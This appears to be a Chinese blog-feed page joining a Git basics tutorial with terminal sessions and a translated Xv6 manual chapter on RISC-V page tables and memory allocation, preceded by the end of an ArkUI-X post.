如果是你正在使用ArkUI-X开发自己的跨平台项目,在开发过程中遇到arkui 实现的点时候,例如获取iphone 设备的唯一标识idfa 我们就需要用桥接的方式去实现,来达到我们的跨平台开发目的,arkui-x 刚起步我们也希望有更多开发者加入进来共同打造一个更好的鸿蒙生态。有更新多想学习的知识点可以关注我的文章和坚果派社区。

链接:www.nutpi.net/

出处:www.arkui.club/

来源:坚果派

著作权归作者所有,禁止任何未经授权的个人或组织以任何形式将本案例集及其附属资料、创新、创意、架构设计、算法、衍生作品等用于任何商业目的、盈利活动、各类竞赛(比赛)、直播教学、录播教学、线下课程、书籍编写、教材编写、会议、培训、公益活动、项目课题、毕业设计、毕业论文、学术论文等。商业转载请联系作者获得授权,非商业转载请注明出处。否则追究相关责任。

by 坚果派_xq9527 at January 27, 2025 07:58 AM

juejin career

Git 的基本操作及其原理

为什么需要版本管理?

工作中,经常遇到以下情况:文案、PPT、文档、方案或者设计图在最终敲定前,需要进行多次修改,可能是某处细节的优化,也可能是内容的替换等,这里通常两种做法。第一种做法,是在原来的基础上进行修改,其弊端显而易见:只保留了最新版本的内容,之前的更改无从查起。如果最终敲定的结果是以前的某一个版本,那么就意味着需要再一次回忆之前的工作,进行重复性劳作。第二种做法,是创建一个副本,在副本中进行修改,这样就可以保留历史的版本,方便后续查阅。然而这种做法的弊端是,改动较为频繁时,创建过多的副本,占据过多内存的同时,后续无法准确的找出具体某个改动对应的副本。

而对于程序员来说,工作中改动最为频繁的就是他们的代码。上述两种做法对于代码管理来说,都是非常耗时耗力的做法。为此,需要亟需版本管理的工具。本系列将介绍最为主流的版本控制器之一 —— Git 。

Git 的基本介绍

Git 是开源的代码托管工具,能够帮助开发者管理代码版本,支持跨平台使用:Linux、Unix、Mac 以及 Windows

Git 能做什么?

版本管理:记录下程序员的每次修改以及将所有历史版本存档,支持⾃由进⾏版本回退、撤销、修改等操作

分支管理:在各个开发场景下,可以灵活地创建、切换、合并、删除分支

多人协同开发:Git 为分布式版本控制系统,是多人协同开发模式的前提

注意:相较于二进制文件,如图片、视频、音乐等,Git 更适用于文本文件

Git 的基本操作

Git 的安装

Windows

Linux 环境

由于没有 Linux 的服务器,使用了 wsl 在 windows 上进行操作,详情见链接:安装 WSL | Microsoft Learn

ubantu 版本

创建本地仓库

christy@Christy:~$ git --version
git version 2.43.0
christy@Christy:~$ mkdir gittest
christy@Christy:~$ cd gittest
christy@Christy:~/gittest$ mkdir gitcode
christy@Christy:~/gittest$ cd gitcode
christy@Christy:~/gittest/gitcode$ git init // 创建本地仓库
Initialized empty Git repository in /home/christy/gittest/gitcode/.git/

.git 是个隐藏文件,不要对其随便修改,可用 tree 命令看其树状目录。

// 可用以下命令安装 tree 指令:
christy@Christy:~/gittest/gitcode$ sudo snap install tree
2025-01-04T20:44:12+08:00 INFO Waiting for automatic snapd restart...
tree 2.1.3+pkg-5852 from 林博仁(Buo-ren Lin) (brlin) installed // 问:有没有哪位同行知道这个林博仁是谁呀?
christy@Christy:/mnt/c/Users/92002/gitcode$ tree .git/
.git/
├── COMMIT_EDITMSG
├── HEAD
├── config
├── description
├── hooks
│   ├── applypatch-msg.sample
│   ├── commit-msg.sample
│   ├── fsmonitor-watchman.sample
│   ├── post-update.sample
│   ├── pre-applypatch.sample
│   ├── pre-commit.sample
│   ├── pre-merge-commit.sample
│   ├── pre-push.sample
│   ├── pre-rebase.sample
│   ├── pre-receive.sample
│   ├── prepare-commit-msg.sample
│   ├── push-to-checkout.sample
│   ├── sendemail-validate.sample
│   └── update.sample
├── index
├── info
│   └── exclude
├── logs
│   ├── HEAD
│   └── refs
│       └── heads
│           └── master
├── objects
│   ├── 0a
│   │   └── 491e47424a52b3a3c00fc11a6e24336b2b5bd9
│   ├── 32
│   │   └── be1898a86d245861660f4786c73dd512733b67
│   ├── 4b
│   │   └── 825dc642cb6eb9a060e54bf8d69288fbee4904
│   ├── 70
│   │   └── ed1e97a765a880e8e9c1d3a856c464ecae857e
│   ├── 8b
│   │   └── 137891791fe96927ad78e64b0aad7bded08bdc
│   ├── b5
│   │   └── a54e59496ce3baa5486ac0042b88b27a829c1b
│   ├── bc
│   │   └── 32919d49f3781668888d95406478a3f149e6a0
│   ├── info
│   └── pack
└── refs
    ├── heads
    │   └── master
    └── tags

查看 git 的属性:

christy@Christy:~/gittest/gitcode$ git config -l
core.repositoryformatversion=0
core.filemode=true
core.bare=false
core.logallrefupdates=true

本地仓库最重要的两个配置 , name 以及 email,如果没有需要自己设置:

ty@Christy:~/gittest/gitcode$ git config [--global] user.name "1234"
christy@Christy:~/gittest/gitcode$ git config [--global] user.email "abc@163.com"
christy@Christy:~/gittest/gitcode$ git config -l
core.repositoryformatversion=0
core.filemode=true
core.bare=false
core.logallrefupdates=true
user.name=1234
user.email=abc@163.com

其中,可在设置 name 和 email 时,在 git config 后使用 --global,表示对这台机器上所有的 Git 仓库都使用这个配置,相应的删除这两个属性时,命令也需要添加 --global:

christy@Christy:~/gittest/gitcode$ git config [--global] --unset user.name
christy@Christy:~/gittest/gitcode$ git config [--global] --unset user.email

如果你希望在不同仓库中使⽤不同的 name 或 email 就无需使用。注意的是,执⾏命令时必须要在仓库⾥。

工作区 暂存区 版本库

下面介绍一下 git 版本管理中三个重要的概念,分别为工作区、暂存区以及版本库。三者可以用以下的图来表示:

工作区:需要管理的代码或者文件所在的目录,通常与 .git/ 文件并列的所有文件。

暂存区:英⽂叫stage或index。⼀般存放在 .git/ 文件下的 index 目录下(.git/index),所以暂存区有时也叫作索引(index)。

版本库:⼜名仓库,英⽂为 repository 。隐藏文件 .git/ 就是是 Git 版本库。这个版本库⾥⾯的所有⽂件都可以被 Git 管理起来,每个⽂件的修改、删除,Git 都能跟踪,以便任何时刻都可以追踪历史,或者在将来某个时刻可以“还原”。

当我们在 gitcode 目录下创建新的文件时,就开始使用 git 来“版本管理”了吗?答案是否定的。要想让 git 接管我们的文件,必须经过以下两个步骤,分别是:add 与 commit。通过 add,将变动的内容(修改、新增、删除)从工作区添加到暂存区,通过 commit 将暂存区中修改的内容提交到当前分支中。

image.png

git 是如何进行版本管理的呢?add 做了些什么?commit 做了些什么? 要想回答上述问题,就得看一看.git/ 目录下的 objects 这个部分。 每当我们 add 改动的内容时,都会创建成一个 git 对象,存放在 objects 库中。而暂存区(index)以及分支中存储的,则是这一个个对象的索引。

涉及的代码如下:

christy@Christy:/mnt/c/Users/92002/gitcode$ git add readME1.txt
christy@Christy:/mnt/c/Users/92002/gitcode$ git commit -m "my first commit file to local repository!"
[master 6278578] my first commit file to local repository!
 1 file changed, 1 insertion(+), 1 deletion(-)

christy@Christy:/mnt/c/Users/92002/gitcode$ git add readME.txt readME2.txt
christy@Christy:/mnt/c/Users/92002/gitcode$ git commit -m "my second commit to local repository!"
[master d5009ff] my second commit to local repository!
 1 file changed, 4 insertions(+), 1 deletion(-)
christy@Christy:/mnt/c/Users/92002/gitcode$ git log
commit d5009ff14bd73f1692ab6293341c8edcc97b5697 (HEAD -> master)
Author: @1234 <abc@163.com>
Date:   Mon Jan 27 14:25:59 2025 +0800

    my second commit to local repository!

commit 6278578bdb430f0248d8893f94224ed5fc123373
Author: @1234 <abc@163.com>
Date:   Mon Jan 27 14:23:49 2025 +0800

    my first commit file to local repository!

commit b5a54e59496ce3baa5486ac0042b88b27a829c1b
Author: @1234 <abc@163.com>
Date:   Wed Jan 1 20:04:55 2025 +0800

    my wishes in 2025

工作区 与 .git 并列存放的文件 版本库 打开 .git ,这里是版本库, .git 目录不属于工作区

christy@Christy:/mnt/c/Users/92002/gitcode$ cat .git/HEAD
ref: refs/heads/master
christy@Christy:/mnt/c/Users/92002/gitcode$ cat .git/refs/heads/master
d5009ff14bd73f1692ab6293341c8edcc97b5697

christy@Christy:/mnt/c/Users/92002/gitcode$ git cat-file -p d5009ff14bd73f1692ab6293341c8edcc97b5697

tree 531a944d7d1fe9eec57fb185c03f059cf9b1eb0f
parent 6278578bdb430f0248d8893f94224ed5fc123373
author @1234 <abc@163.com> 1737959159 +0800
committer @1234 <abc@163.com> 1737959159 +0800

my second commit to local repository!

christy@Christy:/mnt/c/Users/92002/gitcode$ git cat-file -p 531a944d7d1fe9eec57fb185c03f059cf9b1eb0f

100644 blob b7246c83a9f7bf13e4c91f1921f7e81c256c0943    readME.txt
100644 blob 4cf9db0031950fc082db6b370964ecbafbdf9a2b    readME1.txt
100644 blob 0a491e47424a52b3a3c00fc11a6e24336b2b5bd9    readME2.txt
christy@Christy:/mnt/c/Users/92002/gitcode$ git cat-file -p b7246c83a9f7bf13e4c91f1921f7e81c256c0943
hello, Avatar Forest!
I love you world!
Keep going on!
Let's go!`

christy@Christy:/mnt/c/Users/92002/gitcode$ git cat-file -p 4cf9db0031950fc082db6b370964ecbafbdf9a2b
I will try my best in 2025~

christy@Christy:/mnt/c/Users/92002/gitcode$ git cat-file -p 0a491e47424a52b3a3c00fc11a6e24336b2b5bd9
I'm coming! big money!
christy@Christy:/mnt/c/Users/92002/gitcode$ git diff readME.txt
diff --git a/readME.txt b/readME.txt
index b7246c8..d0a3145 100644
--- a/readME.txt
+++ b/readME.txt
@@ -1,4 +1,5 @@
 hello, Avatar Forest!
 I love you world!
 Keep going on!
-Let's go!`
+Let's go!^M
+WOW~~~How do you do ?^M

image.png

christy@Christy:/mnt/c/Users/92002/gitcode$ git status
On branch master
Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        modified:   readME.txt

no changes added to commit (use "git add" and/or "git commit -a")

christy@Christy:/mnt/c/Users/92002/gitcode$ git add readME.txt
christy@Christy:/mnt/c/Users/92002/gitcode$ git status
On branch master
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        modified:   readME.txt
        
christy@Christy:/mnt/c/Users/92002/gitcode$ git commit -m "commit all"

christy@Christy:/mnt/c/Users/92002/gitcode$ git status
On branch master
nothing to commit, working tree clean

by Avatar密林 at January 27, 2025 07:22 AM

juejin article

Xv6手册:页表

Chapter 3: Page Table

3.1 分页硬件

在 RISC-V 架构中,无论是用户指令还是内核指令,它们操作的都是 虚拟地址(Virtual Address) :这意味着程序在运行时并不直接操作物理地址,而是通过虚拟地址来访问内存;与此同时,机器的 RAM 或物理内存使用 物理地址(Physical Address) 索引。

Xv6 运行在 Sv39 RISC-V 上, 64 位虚拟地址中,只有低位的 39 位被使用;高位的 25 位没有被使用。

在 RISC-V 中,页表逻辑上是一个包含<semantics>227<annotation encoding="application/x-tex">2^{27}</annotation></semantics>227页表项(PTE) 的大数组。每个 PTE 包含一个 44 位的 物理页号(PPN) 和一些 标志位(flag) 。当 分页硬件(Paging Hardware) 需要转换地址时,它使用虚拟地址中的高 27 位来找到对应的 PTE 。然后,它将 PTE 中的 44 位物理页号与虚拟地址的低 12 位组合起来,生成最终的 56 位物理地址。

此过程即使用虚拟地址的部分位数定位到具体的 PTE ,再根据 PTE 中的信息,加上原始虚拟地址的低位部分,组合出实际的物理地址。这样,系统就能准确地将程序访问的虚拟地址转换为机器的物理地址。

截屏2025-01-26 01.14.10.png

通过页表,操作系统可以控制虚拟地址到物理地址的转换,其颗粒度为 4096 字节的对齐的块。这样的块称为页。

RISC-V CPU 通过三个步骤将虚拟地址转换为物理地址:

页表以三级树的形式存储在物理内存中。树的根是一个 4096 字节的页表页,其中包含 512 个 PTE ,这些 PTE 包含下一级树中页表页的物理地址。这些页中的每一个都包含 512 个 PTE ,用于树中的最后一级。

截屏2025-01-26 06.12.24.png

分页硬件使用 27 位中的最高 9 位来选择根页表页中的页表项,中间 9 位来选择下一级树中的页表页中的页表项,最低 9 位来选择最终的页表项。

如果翻译地址所需的三个 PTE 中的任何一个不存在,分页硬件将引发一个 页面错误异常(page-fault exception) ,留给内核来处理这个异常。

页表的三级结构以高效的方式记录 PTE 。在常见情况下,当大范围的虚拟地址没有映射时,三级结构可以省略整个 页目录(Page Directories)

  • 例如,如果一个程序只使用从地址 0 开始的几个页面,那么顶级页目录的条目 1 到 511 是无效的,内核不必为这 511 个中间页目录分配页面。此外,内核也不必为这 511 个中间页目录分配底层页目录的页面。

因此在此例中,三级设计节省了 511 页用于中间页目录和 511 x 512 页用于底层页目录。

尽管 CPU 在执行加载和存储指令时在硬件中遍历三级结构,但其潜在缺点是 CPU 必须从内存中加载三个 PTE 来执行指令中的虚拟地址到物理地址的转换。为了避免从物理内存中加载 PTE 的成本,RISC-V CPU 在 转换后备缓冲区(TLB) 中缓存 PTE 。

每个 PTE 包含标志位(如上图),这些标志位告诉分页硬件如何使用相关的虚拟地址:

  • PTE_V 表示 PTE 是否存在:如果未设置,则引用该页会导致异常(即不允许)。
  • PTE_R 控制是否允许指令读取该页。PTE_W 控制是否允许指令写入该页。
  • PTE_X 控制 CPU 是否可以将该页的内容解释为指令并执行它们。
  • PTE_U 控制是否允许用户模式下的指令访问该页;如果未设置,则 PTE 只能在监督模式下使用。

标志和所有其他与页相关的硬件结构在(kernel/riscv.h)中定义。

为了使 CPU 使用特定的页表, OS 需要将这个页表根页的物理地址写入到 satp 寄存器 中。每个 CPU 都有自己的 satp 寄存器,通过这个寄存器, CPU 知道使用哪个页表来转换程序指令中的地址。这样一来,不同 CPU 可以同时运行不同的程序,每个程序都有自己独立的地址空间,由各自的页表来描述和管理。这样就实现了不同程序之间的地址隔离,让它们互不干扰。

从内核的角度来看,页表是一种存于内存中的数据结构,用于管理程序虚拟地址到物理地址的转换。内核可以通过编程创建和修改页表项,这类似于任何树形数据结构。通过特定的代码指令,内核能够更新页表,从而调整不同进程的地址映射方式。

物理内存(Physical Memory)中的一个字节有一个地址,称为物理地址。

解引用地址的指令(如加载、存储、跳转和函数调用)只使用虚拟地址,分页硬件将这些虚拟地址转换为物理地址,然后发送到 RAM 硬件以读取或写入存储。地址空间(address space)是在给定页表中有效的一组虚拟地址。

每个 xv6 进程都有一个独立的用户地址空间, xv6 内核也有自己的地址空间。用户内存指的是进程的用户地址空间以及页表允许进程访问的物理内存。虚拟内存指的是与页表管理相关的概念和技术,使用它们可以实现隔离等目标。

3.2 内核地址空间

Xv6 为每个进程维护一个页表,描述其用户地址空间,另外有一单独页表,描述内核地址空间。

内核配置其地址空间的布局,以允许自己以可预测的虚拟地址访问物理内存和各种硬件资源。下图显示了这种布局如何将内核虚拟地址映射到物理地址。

(kernel/memlayout.h)中声明了 xv6 内核内存布局的常量。

如图,左侧是 xv6 的内核地址空间。其中不同区域 RWX 的权限设置由 PTE 中的标志位决定。右侧是 RISC-V 物理地址空间。

截屏2025-01-26 13.10.58.png

QEMU 模拟了一台计算机,其 RAM 从物理地址 0x80000000 开始,至少延伸到 0x88000000 ,这部分在 xv6 中被称为 PHYSTOP 。此外, QEMU 还模拟了如磁盘接口这样的 I/O 设备。这些设备的控制寄存器被映射为内存地址,位于物理地址 0x80000000 以下的空间内。

即内核通过读写特定的物理地址来与这些设备进行通信,而非直接与 RAM 交互,当内核访问这些特殊地址时,实际上是在与设备硬件交互。

内核使用一种称为“直接映射”的方法来访问 RAM 和内存映射的设备寄存器,即物理地址和虚拟地址是直接对应的。

  • 例如,内核自身的起始位置在虚拟地址和物理地址上都是 KERNBASE=0x80000000

这种方法简化了内核代码,使其可以直接读写物理内存而无需进行地址转换。

  • 举个例子,当fork函数为新创建的子进程分配用户空间内存时,它得到一块内存的物理地址。由于直接映射,fork可以直接将这个物理地址当作虚拟地址使用,以便将父进程的用户内存内容复制到子进程中。

有几个内核虚拟地址不是直接映射的:

  • 跳板页面(trampoline page) :它映射在虚拟地址空间的顶部;用户页表具有相同的映射。
    • 在此有一个页表的用例:一个物理页面(包含跳板代码)在内核的虚拟地址空间中映射了两次:一次在虚拟地址空间的顶部,一次通过直接映射。
  • 内核栈页面(kernel stack pages) :每个进程都有自己的内核栈,它映射得很高,以便在它下面 xv6 可以留下一个未映射的 保护页面(guard page) 。保护页面的 PTE 是无效的(即 PTE_V 未设置),这样如果内核溢出了内核栈,它很可能会引起异常,内核崩溃。但如果没有保护页面,溢出的栈会覆盖其他内核内存,导致操作错误。这样说的话,还是崩溃更好一点。
    • 虽然内核通过高内存映射使用其栈,但内核栈页面也可以通过直接映射的地址访问。另一种设计只使用直接映射,并在直接映射的地址使用栈。然而,在此设计中,提供保护页面将取消映射那些本来可以直接使用物理内存的虚拟地址。

内核为跳板和内核文本(kernel text)映射了带有 PTE_R 和 PTE_X 权限的页面。内核从这些页面读取和执行指令。内核为其他页面映射了带有 PTE_R 和 PTE_W 权限的页面,以便它可以读写这些页面中的内存。

保护页面的映射是无效的。

3.3 代码:创建一个地址空间

Xv6 中大多数操作地址空间和页表的代码都在 vm.c(kernel/vm.c)中。以下是几个关键概念:

  • 核心数据结构: pagetable_t 指向 RISC-V 根页表的指针。可以是内核页表或任何进程的页表。
  • 主要函数:
    1. walk :用于找到一个虚拟地址对应的 PTE 。它会遍历多级页表,直到找到对应于给定虚拟地址的PTE。
    2. mappages :用于创建新的映射,即将一系列虚拟地址映射到相应的物理地址范围。它为每个虚拟地址调用 walk 来获取 PTE ,并设置该 PTE 以包含正确的物理页号和权限信息。
    3. kvm*uvm*kvm 开头的函数处理内核页表的操作。 uvm开头的函数处理用户进程的页表操作。
    4. copyincopyoutcopyin 函数用于将数据从用户空间复制到内核空间; copyout 函数用于将数据从内核空间复制到用户空间。
  • 启动时的初始化过程:
    1. 启动初期:当系统刚开始启动时, main 函数调用 kvminit 函数来设置内核使用的页表。这发生在分页机制启用之前,所有地址直接引用物理内存。
    2. 创建根页表kvminit 函数内,调用 kvmmake 函数,分配一块物理内存页面来保存根页表。然后使用 kvmmap 将内核需要访问的重要区域(如内核自身的代码、数据、PHYSTOP前的所有物理内存以及每个进程的栈)添加到这个页表中。
    3. 安装页表:调用 kvminithart ,系统将根页表的物理地址写入 satp寄存器 ,从而让 CPU 知道使用哪个页表进行地址转换。
    4. 直接映射:采用直接映射的方式,物理地址与虚拟地址直接对应,使内核可以直接通过虚拟地址访问其所需的物理内存区域。

RISC-V CPU 在 TLB 中缓存页表项,当 xv6 更改页表时,它必须告诉 CPU ,使相应的缓存 TLB 项无效。如果没有这样做,那么在某个时候 TLB 可能会使用旧的缓存映射,指向在此期间已分配给另一个进程的物理页面,结果一个进程可能能够在另一个进程的内存上乱写。

RISC-V 有一个指令 sfence.vma 可以刷新当前 CPU 的 TLB 。在重新加载 satp寄存器 后,xv6 在 kvminithart 中执行 sfence.vma ,在切换到用户页表并返回用户空间之前的跳板代码中也执行 sfence.vma(kernel/trampoline.S:89)。

为了避免刷新整个 TLB,RISC-V CPU 可能支持 地址空间标识符(ASIDs) 。然后,内核可以只刷新特定地址空间的 TLB 条目。xv6 不使用此功能。

3.4 物理内存分配

在 xv6 中,内核需要动态管理物理内存,以供页表、用户内存、内核栈和管道缓冲区等使用。

实现:

  • 分配区域: xv6 利用内核末尾到 PHYSTOP 之间的物理内存进行运行时的内存分配。
  • 分配单位:内存分配以 4096 字节(即一个页面)为单位进行。
  • 空闲页面跟踪:系统通过在一个页面内部构建链表的方式,来追踪哪些页面是空闲可用的。
    • 分配:当需要分配内存时,就从这个链表中移除一个空闲页面供使用。
    • 释放:当某块内存不再使用并被释放时,该页面会被重新添加回链表,标记为空闲,以便后续再次被分配。

xv6 通过链表管理内核末尾到 PHYSTOP 间的物理页面,支持按需分配和释放 4096 字节大小的内存页面,确保了对页表、用户内存、内核栈及管道缓冲区等的有效内存管理。

3.5 物理内存分配器

分配器位于 kalloc.c (kernel/kalloc.c:1)。其核心数据结构是一个可用物理内存页的空闲列表,列表元素是一个 struct run (kernel/kalloc.c:17),代表一个当前可被分配的空闲页。

分配器从哪里获取内存来保存该数据结构?

  • 它将每个空闲页的结构体存储在空闲页本身中,因为那里没有存储其他内容。

空闲列表由 自旋锁(spin lock) 保护(kernel/kalloc.c:21-24)。列表和锁被封装在一个结构中,以明确表示锁保护结构中的字段。目前,忽略锁和获取/释放调用。

在 xv6 启动过程中, main 函数会调用 kinit 来初始化内存分配器(位于 kernel/kalloc.c 文件中),简要说明:

  1. 初始化分配器kinit 函数的主要任务是初始化一个空闲列表,该列表用于管理内核末尾到 PHYSTOP 之间的所有可用物理内存页面。
  2. 物理内存假设:不同于解析硬件提供的配置信息来确定可用的物理内存总量, xv6 直接假定机器配备了 128MB 的 RAM 。
  3. 填充空闲列表kinit 通过调用 freerange 函数将从内核末尾到 PHYSTOP 之间的每个物理页面添加到空闲列表中。这一步骤具体是通过遍历这段范围,并对每一页调用 kfree 函数完成的。
  4. 地址对齐:由于 PTE 只能引用那些 4096 字节边界对齐的物理地址, freerange 使用宏 PGROUNDUP 确保只释放那些地址对齐了的物理内存页面给空闲列表。
  5. 为分配器提供内存:这些调用 kfree的 过程实质上是向分配器提供了一些初始的、可管理的内存资源。这样,当系统需要为新的请求分配内存时,分配器就有了可以从中分配的空闲页面。

即, kinit 初始化了一个用于追踪空闲物理内存页面的链表,并且通过 freerangekfree 函数将内核末尾到 PHYSTOP 之间的所有页面加入这个链表中,同时保证这些页面的地址是对齐的,以便后续能够正确地进行内存分配。这样,分配器就有了基础的内存资源来开始其管理工作。

分配器有时将地址视为整数,以便对它们执行算术运算(例如,在 freerange 中遍历所有页面);有时将地址用作指针,以读取和写入内存(例如,操作存储在每个页面中的运行结构);这种地址的双重用途是分配器代码充满 C 类型转换的主要原因。

kfree(kernel/kalloc.c:47)首先将被释放内存中的每个字节设置为值 1。让在释放内存后使用该内存的代码(“悬空引用”)读取到垃圾数据,而不是旧的有效内容;理想状态下,这将导致此类代码更快地崩溃,也即更快能被觉察和修复。然后, kfreepa 转换为指向 struct run 的指针, kfree 记录当前空闲列表的起始位置到新添加的 struct run 结构体的 next 字段中(即将原来的第一个空闲页地址存入新释放页的 next ),并将空闲列表设置为 r

kalloc 移除并返回空闲列表中的第一个元素。

3.6 进程地址空间

每个进程都有自己的页表,当 xv6 在进程间切换时,它也会更改页表。如下图,显示了进程的地址空间。进程的用户内存从虚拟地址零开始,可以增长到 MAXVA(kernel/riscv.h:379),理论上允许进程访问 256GB 的内存。

截屏2025-01-26 21.51.11.png

进程的地址空间包含 程序文本(text) 的页面( xv6 使用权限 PTE_R、PTE_X 和 PTE_U 映射这些页面)、包含程序预初始化 数据(data) 的页面、一个用于 栈(stack) 的页面和用于 堆(heap) 的页面组成。Xv6 使用权限 PTE_R、PTE_W 和 PTE_U 映射数据、栈和堆。

在用户地址空间内使用权限是一种常见的加固用户进程的技术。如果文本被映射为 PTE_W,那么进程可能会意外地修改自己的程序;

  • 例如,编程错误可能导致程序写入空指针,修改地址 0 处的指令,然后继续运行,可能会有更大的破坏。

为立即检测到此类错误, xv6 映射文本时不带 PTE_W;如果程序意外尝试存储到地址 0 ,硬件将拒绝执行存储并引发页面错误。内核会终止该进程并打印出一条信息性消息,以便开发人员追踪问题。

同样,通过不使用 PTE_X 映射数据,用户程序不能意外跳转到程序数据中的地址并在该地址执行。

在 xv6 中,当一个新程序通过 exec 函数加载和启动时,会为该程序创建一个新的栈。这个栈由单独的一个内存页面组成,并初始化为特定的初始内容,以便程序能够正确开始执行。以下是简要说明:

  1. 栈的内容布局
    • 命令行参数:位于栈顶的是包含命令行参数的字符串,以及一个指向这些字符串的指针数组(即argv)。
    • main函数参数:在这之下是调用 main 函数所需的参数值,包括 argc (命令行参数的数量)和 argv (指向命令行参数字符串的指针数组),使得程序启动时就像是直接调用了 main(argc, argv) 一样。
  2. 栈的作用
    • 这种布局确保了当程序开始执行时,它可以直接从 main 函数开始运行,而不需要额外的初始化步骤来设置参数或准备命令行输入。

exec 创建的新程序栈预先设置了命令行参数及其指针数组,并准备好 main 函数需要的参数值,使得程序可以像刚刚调用了 main(argc, argv) 那样开始执行。这种方式简化了程序启动流程,确保了程序能顺利地根据提供的命令行参数运行。

为检测用户栈溢出分配的栈内存,xv6 在栈的正下方放置一个不可访问的保护页面(通过清除 PTE_U 标志)。如果用户栈溢出,并且进程尝试使用栈下方的地址,硬件将生成页面错误异常,因为保护页面对运行在用户模式下的程序是不可达的。

现实世界的操作系统可能会在栈溢出时自动为用户栈分配更多内存。

当进程向 xv6 请求更多用户内存时,xv6 会增加进程的堆。 Xv6 首先使用 kalloc 分配物理页面(这个函数负责从系统中的空闲物理页面池中分配一个 4096 字节大小的物理页面)。下一步是将指向这些新分配物理页面的指针(即 PTE )添加到进程的页表中。这样做的目的是为了让 CPU 知道如何将虚拟地址转换为对应的物理地址。Xv6 在这些 PTE 中设置 PTE_W、PTE_R、PTE_U 和 PTE_V 标志。大多数进程并不使用整个用户地址空间;xv6 在未使用的 PTE 中保持 PTE_V 未设置。

上图有页表使用的一些的例子。

  • 首先,不同进程的页表将用户地址转换为不同的物理内存页面,因此每个进程都有私有的用户内存。
  • 其次,每个进程都将其内存视为从零开始的连续虚拟地址,而进程的物理内存可以是非连续的。
  • 第三,内核在用户地址空间的顶部映射了一页带有跳板代码的页面(没有 PTE_U),因此一页物理内存出现在所有地址空间中,但只能由内核使用。

3.7 代码: sbrk 系统调用

sbrk 系统调用,用于让进程缩小或扩展其内存。

它由 growproc 函数(kernel/proc.c:260)实现。 growproc 根据 n 是正数还是负数,调用 uvmallocuvmdeallocuvmalloc(kernel/vm.c:233)使用 kalloc 分配物理内存,将分配的内存清零,并向用户页表添加 PTEs (使用 mappages)。 uvmdealloc 调用 uvmunmap(kernel/vm.c:178),它使用 walk 查找 PTEs 并使用 kfree 释放它们所引用的物理内存。

Xv6 使用一个进程的页表不仅仅是为了告诉硬件如何映射用户虚拟地址,也是哪些物理内存页分配给该进程的唯一记录。这就是为什么释放用户内存(在 uvmunmap 中)需要检查用户页表的原因。

3.8 代码: exec 系统调用

exec 系统调用,用于替换当前进程的用户地址空间内容,使用从指定文件(通常为二进制或可执行文件)中读取的数据。这个过程涉及多个步骤,包括打开和验证文件格式、分配内存以及加载程序段。下面是详细的步骤说明:

  1. 打开并检查文件
    • 打开文件exec 函数首先通过 namei 函数(kernel/exec.c:36)打开指定路径下的二进制文件。 namei 的作用是解析路径名并返回对应的文件描述符。
    • 检查文件格式:接下来, exec 会读取文件开头的 ELF 头来快速检查该文件是否为有效的 ELF 格式。ELF 文件以特定的四字节“魔术数字” 0x7F 、 'E' 、 'L' 、 'F' 开头(在代码中定义为 ELF_MAGIC)。如果这些字符存在,则假定文件是一个正确的 ELF 二进制文件。
  2. 解析 ELF 头和程序段头
    • 读取 ELF 头:ELF 文件包含一个 ELF 头(struct elfhdr),它提供了关于整个文件的基本信息,如文件类型、目标机器架构等。此结构体在 kernel/elf.h:6 中定义。
    • 解析程序段头:紧接着 ELF 头的是若干个程序段头(struct proghdr),每个段头在 kernel/elf.h:25 中定义。每个 proghdr 描述了一个需要加载到内存中的应用程序部分。对于 xv6 程序,通常有两个主要的段:一个是存放指令的段,另一个是存放数据的段。
  3. 分配新页表和内存
    • 创建新的页表:为了确保新程序在一个干净的环境中运行,exec 使用 proc_pagetable (kernel/exec.c:49)为新程序分配一个新的页表。这一步骤保证了没有旧的用户映射干扰新程序的执行。
    • 为段分配内存:根据每个段头的信息,exec 调用 uvmalloc 函数(kernel/exec.c:65)为每个段分配所需的内存。这包括为程序的指令和数据段分配相应的内存区域。
  4. 加载程序段
    • 加载段到内存:对于每个段,exec 调用 loadseg 函数(kernel/exec.c:10)将段数据加载到内存中。loadseg 执行以下操作:
      • 使用 walkaddr 函数找到分配给该段的内存的物理地址。
      • 使用 readi 函数从 ELF 文件中读取数据,并写入到相应的物理地址上,从而完成段的加载。

/init 的程序段头,这是使用 exec 创建的第一个用户程序,看起来像这样:

截屏2025-01-27 13.24.10.png

我们看到 文本段(text) 应该被加载到内存中的虚拟地址 0x0(只读)从文件中偏移 0x1000 的内容。我们还看到 数据段(data) 应该被加载到地址 0x1000,这是一个页边界,并且没有可执行权限。

程序段头(program section header)的文件大小(filesz)可能小于内存大小(memsz),这表明它们之间的差距用零填充(用于 C 全局变量),而不是从文件中读取。

对于 /init,数据文件大小(filesz)是 0x10 字节,而内存大小(memsz)是 0x30 字节,因此 uvmalloc 分配足够的物理内存来容纳 0x30 字节,但只从文件 /init 中读取 0x10 字节。

exec 分配并初始化用户栈,它只分配一个栈页。 exec 一次复制一个命令行参数(字符串形式)到栈顶,并记录它们的指针到 ustack 中。它在将要传递给 mainargv 列表的末尾放置一个空指针,以标记参数列表的结束。

argcargv 传递给 mainargc 通过系统调用返回值传递,放入 a0 ;而 argv 通过进程的 trapframea1 入口传递。

exec 在栈页正下方放置一个 保护页面(Guard page) ,如此,使用超过一页的程序就会发生错误。此页面还允许 exec 处理过大的参数;在这种情况下,exec 用于将参数复制到栈的 copyout(kernel/vm.c:359)函数会注意到目标页面不可访问,并返回 -1。

在准备新的内存映像期间,如果 exec 检测到错误(如无效的程序段),它会跳转到标签 bad,释放新映像,并返回 -1。exec 必须等到确信系统调用会成功时才释放旧映像:如果旧映像已经消失,系统调用就不能返回 -1。exec 中的唯一错误情况发生在创建映像期间。一旦映像完成,exec 就可以提交到新的页表(kernel/exec.c:125)并释放旧的(kernel/exec.c:129)。

exec 从 ELF 文件加载字节到 ELF 文件指定的内存地址。用户或进程可以将任何他们想要的地址放入 ELF 文件中。因此,exec 是有风险的,因为 ELF 文件中的地址可能引用内核。对于不谨慎设计的内核,后果可能从崩溃到恶意颠覆内核的隔离机制(即安全漏洞)。

Xv6 通过执行多种检查来防止潜在的安全风险,确保程序只能访问它们被授权访问的内存区域。其中一个重要的安全检查是确保程序头 ph.vaddr + ph.memsz 的计算不会导致整数溢出。具体来说,如果一个 ELF 文件的虚拟地址 ph.vaddr 和内存大小 ph.memsz 的总和小于 ph.vaddr 自身,这意味着发生了溢出。这种情况下,Xv6 会拒绝加载该程序以避免潜在的安全漏洞。

